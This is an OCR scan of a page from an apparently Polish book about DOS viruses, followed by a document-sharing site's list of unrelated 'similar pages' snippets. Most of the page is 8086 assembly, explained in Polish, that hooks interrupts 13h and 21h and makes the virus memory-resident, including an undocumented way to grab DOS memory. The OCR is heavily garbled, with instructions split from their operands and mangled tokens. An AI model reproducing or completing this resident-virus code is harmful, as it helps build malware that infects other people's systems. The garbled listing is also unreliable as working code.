PDS057 TIF

PDS057 TIF



57

xor    dx,dx

mov    es # dx ; DS = CS , ES = O

mov    ax,es:4ch

mov    word ptr[adres„13h_ofs],ax

mov    es:4ch,offset    przerwanie_13h

Zapamiętanie oryginalnego i ustawienie nowego adresu procedury obsługi przerwania 13H (offset i segment)


mov

mov

mov

mov

mov

mov


axres:4eh

word ptr adres_13h_ofs[2] , ax

es:4eh#cx

ax,es:84h

word ptr[adres_21h_ofs],ax es:84n,offset przerwanie„21h

mov    ax,es;86h    ; Zapamiętanie oryginalnego

; i ustawienie

mov    word ptr adres_21h_ofs[2],ax ; nowego adresu

? procedury obsługi

mov    es:86h,cx    ; przerwania 21H {offset i segment)

kon i ec_zmiany_adresów:

pop

ec

pop

ds

pop

dx

pop

cx

pop

bx

PW

cli

ret

ax

Powyższe procedury instalują wirusa w pamięci podczas startu systemu* Przechwytywanie przerwań i kopiowanie w bezpieczne miejsce pamięci podczas uruchamiania wirusa z zarażonego pliku jest prostsze, gdyż odbywa się tylko w jednej fazie. Poniżej przedstawiona jest procedura, która instaluje wirusa w pamięci podczas uruchamiania zarażonego pliku. Zakładam, tak jak poprzednio, że kod wirusa zaczyna się od adresu tablica_partyqi, a kończy na adresie koniec.

pr z ec hwyc en i e_pr z er wan: push push mov mov shr


ds

es

bx,{(offset koniec) - (offset tablica_partycji)) cl, 4

bx,cl    ;    ustalanie ile pamięci

inc

mov

int

jnc

muv

mov

shr

inc

mov

mov

mov

sub

mov

push

mov

dec

mov

mov

sub

mov

pop


;(w pargrafach 16 - bajtowych) jest bx    ;    potrzebne dla wirusa

ah,48h    ;    i przydział tej pamięci

21h

pamięć przydzi e1ona

bx,((offset koniec) - (offset tablica_partycji)) cl # 4

bx#cl ; W przypadku, gdy pamięć nie została ; przydzielona

bx    ; ponowne obliczenie ile pamięci potrzeba

ax,ds ; i ponowny przydział pamięci w sposob es,ax ; nieudokumentowany korzystając z tego, ax,es:2 ;w jaki sposob DOS oznacza bloki pamięci, ax, bx es:2,ax ax

ax, es

ax

es, ax ax, es :3 ax, bx es:3,ax ax

parni ec^pr zydz i e łona:

push

ax ;

mov

bx,cs ;

mov

ds, bx

mov

es, ax

mov

di,offset

KOV

si,offset

tablica partvc~j i tablica__partycj i


w rejestrze AX numer segmentu, który został przydzielony wirusowi


Wyszukiwarka

Podobne podstrony:
238 TIF 0040F12A shr eax,5 0040F12D mov dword ptr [idw],eax */ idw = ibit / cbitDWORD; if(m_rgdw[idw
ne wskazówki int RExp::IChlnSz(unsigned char chSrc, const char *pch, int cch){ _asm{ xor eax, eax mo
33 (565) 57 cincuenta y siete 3    - Por telefono es mas diffcil entenderse. 4  
238 TIF 0040F12A shr eax,5 0040F12D mov dword ptr [idw],eax */ idw = ibit / cbitDWORD; if(m_rgdw[idw
Skan2 17. Die Substitution t = x -1 erlaubt es die Integrale der Gestalt r dx cdt _ t k+]+c (ł-1x*-
PDS061 TIF pop pop pop pop pop pop pop cli jmp ds di si dx cx bx ax cs:far [adres_21h
Skan2 17. Die Substitution t = x -1 erlaubt es die Integrale der Gestalt r dx cdt _ t k+]+c (ł-1x*-
57 (229) <UL- dx>y^o, jestaw <>-• tó¥a»
scan 4 (5) (9) 54 Co przy uwzględnieniu, że: a =Es, =E-^L 2x 2 dx aix =E-e, =E- -F.dUl dx xx = y G,
assembler?86? 7 94 5. Rozkazy mikroprocesorów 8086/8088 OUT DX, AX MOV DX, 7645 OUT DX, AL  &
skanuj0009 (285) I I i dX)tortf^y j^óai >:ij_5feii/e
skanuj0018 (248) •’6-t JkQ ^     uau>U^ię jatU <,‘cU. ^id/tu* Mvi/rt>* • *u

więcej podobnych podstron